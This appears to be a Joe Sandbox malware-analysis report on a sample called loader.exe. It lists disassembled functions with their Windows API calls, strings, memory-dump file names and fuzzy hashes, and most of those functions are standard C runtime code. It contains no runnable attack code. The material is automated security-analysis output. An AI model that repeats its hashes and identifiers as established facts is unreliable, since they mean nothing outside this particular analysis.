Opcode ID: bbd809115c2aca3d0a3fe9ae4ed24aa0adb14bd821432e3b8416d2a0c5fa3de4
Instruction ID: 2f7d1f28a3efbabd783d98e9e7196753a872ab44b6f65e751935a643a00bd155
Opcode Fuzzy Hash: bbd809115c2aca3d0a3fe9ae4ed24aa0adb14bd821432e3b8416d2a0c5fa3de4
Instruction Fuzzy Hash: C131F276520216EFCF224F50D8069AA7B76FF09316B08455AFC0429121CBB2DCB5DB89

Function 002545A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00254533: __EH_prolog3_GS.LIBCMT ref: 0025453A

std::domain_error::domain_error.LIBCPMT ref: 002545EC

Part of subcall function 002543A4: std::exception::exception.LIBCONCRT ref: 002543BA

Strings

CD%, xrefs: 002545B6, 002545C9
CD%, xrefs: 002545D7

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CD%$CD%
API String ID: 2144476180-4139937635
Opcode ID: 56cd20673f03fb927f01b695538eac8c07db6c489a9b61a19f625f01c1d66871
Instruction ID: 6751bf555e1f6d2364732107d4362f27901196a9cd8b990498a0e862403f046d
Opcode Fuzzy Hash: 56cd20673f03fb927f01b695538eac8c07db6c489a9b61a19f625f01c1d66871
Instruction Fuzzy Hash: C6015E70E10218ABCF18EF69D8458AEBBF8FF48708B50841EE81597340DB74DA55CF94

Analysis Process: loader.exePID: 7348, Parent PID: 7284COMMON

Non-executed Functions

Function 0025C7DB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0025C8CB

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 4d1e820d1cae1ffe1d2bb459482c2b945b02d9b4380b2c43993f4bfda121e69d
Instruction ID: d3767d9c4879359b110708b2142797feb567071a1e13645a72e4b27953cea3d3
Opcode Fuzzy Hash: 4d1e820d1cae1ffe1d2bb459482c2b945b02d9b4380b2c43993f4bfda121e69d
Instruction Fuzzy Hash: CE71C67191521D5EDF21EF249C8DABABBB9EF05301F2441D9E809A3251FB308E998F58

Function 00255444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00255450
IsDebuggerPresent.KERNEL32 ref: 0025551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0025553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00255546

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 325c7543dc95865430d9c0b88627d542faef36e3e5ee48d92ad15d774fa81d50
Instruction ID: a55a389b6a7ee64dd59c463825cd4d96488d6977c3c22c43e63f4917ed7daaec
Opcode Fuzzy Hash: 325c7543dc95865430d9c0b88627d542faef36e3e5ee48d92ad15d774fa81d50
Instruction Fuzzy Hash: 29311875D152289BDF10DFA4D9897CDBBB8BF08305F1041AAE40DAB250EBB09A89CF45

Function 00254CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00254CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00254CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00254CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00254CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00254CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00254D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00254D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00254D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00254D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00254D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00254D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00254D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00254D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00254D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00254DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00254DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00254DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00254DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00254DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00254DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00254E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00254E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00254E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00254E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00254E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00254E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00254E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00254E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00254E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00254EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00254EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00254EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00254ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00254EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00254EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00254F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00254F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00254F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00254F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00254F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00254F5B

Strings

SleepConditionVariableSRW, xrefs: 00254EEA
CreateThreadpoolWait, xrefs: 00254D96
SetThreadpoolTimer, xrefs: 00254D63
GetCurrentPackageId, xrefs: 00254E0D
InitOnceExecuteOnce, xrefs: 00254D0E
WakeConditionVariable, xrefs: 00254E73
kernel32.dll, xrefs: 00254CB1
GetTickCount64, xrefs: 00254E1E
GetLocaleInfoEx, xrefs: 00254F3F
GetCurrentProcessorNumber, xrefs: 00254DEB
InitializeCriticalSectionEx, xrefs: 00254CFD
TryAcquireSRWLockExclusive, xrefs: 00254EC8
CreateThreadpoolTimer, xrefs: 00254D52
FreeLibraryWhenCallbackReturns, xrefs: 00254DDA
CreateSemaphoreW, xrefs: 00254D30
InitializeSRWLock, xrefs: 00254EA6
WakeAllConditionVariable, xrefs: 00254E84
CloseThreadpoolWait, xrefs: 00254DB8
CreateEventExW, xrefs: 00254D1F
GetSystemTimePreciseAsFileTime, xrefs: 00254E51
CreateSemaphoreExW, xrefs: 00254D41
FlsAlloc, xrefs: 00254CBE
ReleaseSRWLockExclusive, xrefs: 00254ED9
FlushProcessWriteBuffers, xrefs: 00254DC9
CloseThreadpoolTimer, xrefs: 00254D85
AcquireSRWLockExclusive, xrefs: 00254EB7
FlsSetValue, xrefs: 00254CEC
WaitForThreadpoolTimerCallbacks, xrefs: 00254D74
SleepConditionVariableCS, xrefs: 00254E95
SetFileInformationByHandle, xrefs: 00254E40
FlsFree, xrefs: 00254CCA
LCMapStringEx, xrefs: 00254F50
CreateSymbolicLinkW, xrefs: 00254E01
SubmitThreadpoolWork, xrefs: 00254F0C
CreateThreadpoolWork, xrefs: 00254EFB
FlsGetValue, xrefs: 00254CDB
SetThreadpoolWait, xrefs: 00254DA7
CloseThreadpoolWork, xrefs: 00254F1D
GetFileInformationByHandleEx, xrefs: 00254E2F
CompareStringEx, xrefs: 00254F2E
InitializeConditionVariable, xrefs: 00254E62

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 213e2054ff3ebcb3b2ee0bde9d2d02857dc85d887696eac70667c3e66d55cab7
Instruction ID: 83dc76c25bfe55de3d6e0c70f3328933ac12788a0e8353ac7a004c428678fc24
Opcode Fuzzy Hash: 213e2054ff3ebcb3b2ee0bde9d2d02857dc85d887696eac70667c3e66d55cab7
Instruction Fuzzy Hash: 1E6112719B6390ABC7117FF4BD4D8E63BACAB1A7067108416F141D3261DFF460D18BA0

Function 002590D3 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 002591F2
___TypeMatch.LIBVCRUNTIME ref: 00259300
CatchIt.LIBVCRUNTIME ref: 00259351
_UnwindNestedFrames.LIBCMT ref: 00259452
CallUnexpected.LIBVCRUNTIME ref: 0025946D

Strings

csm, xrefs: 00259110
@]%, xrefs: 0025926D, 00259275
csm, xrefs: 00259229
csm, xrefs: 0025917D

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: @]%$csm$csm$csm
API String ID: 4119006552-1152799148
Opcode ID: 5d6b606ccec91c171be2ff7b9ee927be265ef36755e89e2530d967d8abaf0f6b
Instruction ID: 6a881bc5a9d96c4377f71d488673dde70a51086b6f1f4a9e43ad7cd75b73018c
Opcode Fuzzy Hash: 5d6b606ccec91c171be2ff7b9ee927be265ef36755e89e2530d967d8abaf0f6b
Instruction Fuzzy Hash: 27B1693182021AEFCF15DFA4C8819AEB7B5FF04312B14405AEC156B252D771DEAACF99

Function 00256130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00256167
___except_validate_context_record.LIBVCRUNTIME ref: 0025616F
_ValidateLocalCookies.LIBCMT ref: 002561F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00256223
_ValidateLocalCookies.LIBCMT ref: 00256278

Strings

^%, xrefs: 00256215, 0025621E, 0025622F
csm, xrefs: 0025620D

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ^%$csm
API String ID: 1170836740-290365969
Opcode ID: b0731c60ca1c0131d980e5b10a839ad3a7a0538c614b68cd61d81fac2a4be2c1
Instruction ID: 24461272d99464931334caab02376a4401266f9b80ac7fd8ec72d22bc90ff461
Opcode Fuzzy Hash: b0731c60ca1c0131d980e5b10a839ad3a7a0538c614b68cd61d81fac2a4be2c1
Instruction Fuzzy Hash: EF41F534A20209DBCF10DF68C848AAEBBB4BF05315F548155EC199B392D731AA69CF94

Function 00260308 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,002602F3,?,?,?,?,?,?,?,?,?,?), ref: 002603AE
__alloca_probe_16.LIBCMT ref: 00260469
__alloca_probe_16.LIBCMT ref: 002604F8
__freea.LIBCMT ref: 00260543
__freea.LIBCMT ref: 00260549
__freea.LIBCMT ref: 0026057F
__freea.LIBCMT ref: 00260585
__freea.LIBCMT ref: 00260595

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 56e0ccb62e40b35923579e942cc6da2a48713aead0fce9af8e332aa8f64ce160
Instruction ID: 570a89f0fac3fad8692a0d265cfd3f25d5ea449f2917dd0c3737beed2bb3431a
Opcode Fuzzy Hash: 56e0ccb62e40b35923579e942cc6da2a48713aead0fce9af8e332aa8f64ce160
Instruction Fuzzy Hash: 507125729202469FDF219F548CC2BAF77B9AF48311F580056ED05A7281EB70DCB4AF94

Function 00259DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00259EE2,002541E0,?,00000000,?,?,?,00259BEB,00000022,FlsSetValue,00263DDC,00263DE4,?), ref: 00259E94

Strings

ext-ms-, xrefs: 00259E3E
api-ms-, xrefs: 00259E2A

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 947473c3bed25c23f4e8db050f959c3dbee4877883300d34ed3552df263238f6
Instruction ID: 41d8876306f67206abe4c00151752f22aa8f948d9475dc0f146a84a21607e455
Opcode Fuzzy Hash: 947473c3bed25c23f4e8db050f959c3dbee4877883300d34ed3552df263238f6
Instruction Fuzzy Hash: DE21EB31A10212EBC721DF60EC46B6A375CEF42BB2F250112ED16E7291DB70ED55C6D4

Function 0024BEB0 Relevance: 9.2, APIs: 6, Instructions: 173fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0024BF10

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d518dd7b17a3c59ff843ad2fce44ff8a39cf18a5a0ebf486acfe024b521acad0
Instruction ID: ad4db5412a7b87984affbb20010b3aaee4c9ba8d77d0ec7016fd5d8c4b2da76f
Opcode Fuzzy Hash: d518dd7b17a3c59ff843ad2fce44ff8a39cf18a5a0ebf486acfe024b521acad0
Instruction Fuzzy Hash: A4716EB4925209CFCB08DFACD5586AEFBF0EB48700F20851EF84AAB350DB7499658F51

Function 0025883A Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00258831,00255F0D,002555A4), ref: 00258848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00258856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0025886F
SetLastError.KERNEL32(00000000,00258831,00255F0D,002555A4), ref: 002588C1

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e11f98fc6ce6c5cc86dee352366bc4ff1d8d9e48c6cec4feb1c993c2ae044ee6
Instruction ID: 181e92d1616f54782504849737fecf22ccf3a76c04bcaeb1fecf194a5d6a54fe
Opcode Fuzzy Hash: e11f98fc6ce6c5cc86dee352366bc4ff1d8d9e48c6cec4feb1c993c2ae044ee6
Instruction Fuzzy Hash: C501D83213D21A9DE6252F74BC8EA1A2759EB117B73600329FD11A51F0EFF18C69968C

Function 00256F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,002625EB,000000FF,?,00257015,?,?,002570B1,00000000), ref: 00256F89
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,00000000,002625EB,000000FF,?,00257015,?,?,002570B1,00000000), ref: 00256F9B
FreeLibrary.KERNEL32(00000000,?,00000000,002625EB,000000FF,?,00257015,?,?,002570B1,00000000), ref: 00256FBD

Strings

mscoree.dll, xrefs: 00256F82
CorExitProcess, xrefs: 00256F93

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9c0c6d4be1d0398295538fe0d2d61482bb7519b1a032e974c7316f14963a5065
Instruction ID: 91b171cee3b07e10b9935d4ee13932f23c0f48d0af41b7f5d248a2b8d1c7ecac
Opcode Fuzzy Hash: 9c0c6d4be1d0398295538fe0d2d61482bb7519b1a032e974c7316f14963a5065
Instruction Fuzzy Hash: 9301623192865AABDB118F50EC0DFAEB7BCFB04B15F044625E812E26A0DFB49954CA94

Function 0025DF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0025DFA2
__alloca_probe_16.LIBCMT ref: 0025E06B
__freea.LIBCMT ref: 0025E0D2

Part of subcall function 0025BC45: HeapAlloc.KERNEL32(00000000,?,00000000,?,002541E0,?,?,00251007,?,0024FAB5), ref: 0025BC77

__freea.LIBCMT ref: 0025E0E5
__freea.LIBCMT ref: 0025E0F2

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 59570195801e93807718d52a0b657948e6d35de16fd4f2237e44db4ddab00722
Instruction ID: 986c8dcbf2568fad0f59aecb4cb9ad66d08cd5a8273defd585f14ebdc47a5a31
Opcode Fuzzy Hash: 59570195801e93807718d52a0b657948e6d35de16fd4f2237e44db4ddab00722
Instruction Fuzzy Hash: C751D771530216AFDF256F60CC41DBB77A9EF44712B164029FD04E6181EBB1CD78CA68

Function 002594F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,002593FE,?,?,00000000,00000000,00000000,?), ref: 0025951D
CatchIt.LIBVCRUNTIME ref: 00259603

Strings

RCC, xrefs: 00259537
MOC, xrefs: 0025952F

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: a8d49c38f42bfc8f334d4c1943ae1188b1e574a260c5ed22549beeb0e304c7fc
Instruction ID: 683026ba307b18abd27b981e5e0ef7756125d05c754a92dc2fc57928c4da2855
Opcode Fuzzy Hash: a8d49c38f42bfc8f334d4c1943ae1188b1e574a260c5ed22549beeb0e304c7fc
Instruction Fuzzy Hash: 3841677190020AEFCF16CF94C881AAE7BB9EF48301F188099F905A7211E735D9A8CB58

Function 0025DC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0025DCFA,00000000,?,0026CCD0,?,?,?,0025DC31,00000004,InitializeCriticalSectionEx,002646F8,00264700), ref: 0025DC6B
GetLastError.KERNEL32(?,0025DCFA,00000000,?,0026CCD0,?,?,?,0025DC31,00000004,InitializeCriticalSectionEx,002646F8,00264700,00000000,?,0025971C), ref: 0025DC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0025DC9D

Strings

api-ms-, xrefs: 0025DC82

Memory Dump Source

Source File: 00000002.00000002.1663753098.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000002.00000002.1663738040.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663775086.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663790403.000000000026B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663803959.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1663820452.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_240000_loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
